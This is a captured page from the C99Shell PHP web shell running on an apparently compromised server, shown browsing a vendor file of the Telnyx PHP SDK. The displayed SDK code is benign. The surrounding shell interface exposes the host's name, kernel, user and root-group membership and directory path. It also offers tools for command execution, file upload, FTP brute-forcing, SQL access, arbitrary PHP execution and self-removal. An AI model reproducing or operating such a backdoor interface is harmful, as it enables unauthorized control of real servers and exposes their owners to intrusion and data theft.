!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html/vendor/telnyx/telnyx-php/lib/ApiOperations/   drwxr-xr-x
Free 29.26 GB of 117.98 GB (24.8%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Request.php (2.26 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Telnyx\ApiOperations;

/**
 * Trait for resources that need to make API requests.
 *
 * This trait should only be applied to classes that derive from TelnyxObject.
 */
trait Request
{
    
/**
     * @param array|null|mixed $params The list of parameters to validate
     *
     * @throws \Telnyx\Exception\InvalidArgumentException if $params exists and is not an array
     */
    
protected static function _validateParams($params null)
    {
        if (
$params && !is_array($params)) {
            
$message "You must pass an array as the first argument to Telnyx API "
               
"method calls.  (HINT: an example call to create a call "
               
"would be: \"Telnyx\\Call::create(['connection_id' => 'uuid', 'to'"
               
"=> '+18005550199', 'from' => '+18005550100'])\")";
            throw new 
\Telnyx\Exception\InvalidArgumentException($message);
        }
    }

    
/**
     * @param string $method HTTP method ('get', 'post', etc.)
     * @param string $url URL for the request
     * @param array $params list of parameters for the request
     * @param array|string|null $options
     *
     * @return array tuple containing (the JSON response, $options)
     */
    
protected function _request($method$url$params = [], $options null)
    {
        
$opts $this->_opts->merge($options);
        list(
$resp$options) = static::_staticRequest($method$url$params$opts);
        
$this->setLastResponse($resp);
        return [
$resp->json$options];
    }

    
/**
     * @param string $method HTTP method ('get', 'post', etc.)
     * @param string $url URL for the request
     * @param array $params list of parameters for the request
     * @param array|string|null $options
     *
     * @return array tuple containing (the JSON response, $options)
     */
    
protected static function _staticRequest($method$url$params$options)
    {
        
$opts \Telnyx\Util\RequestOptions::parse($options);
        
$baseUrl = isset($opts->apiBase) ? $opts->apiBase : static::baseUrl();
        
$requestor = new \Telnyx\ApiRequestor($opts->apiKey$baseUrl);
        list(
$response$opts->apiKey) = $requestor->request($method$url$params$opts->headers);
        
$opts->discardNonPersistentHeaders();
        return [
$response$opts];
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.006 ]--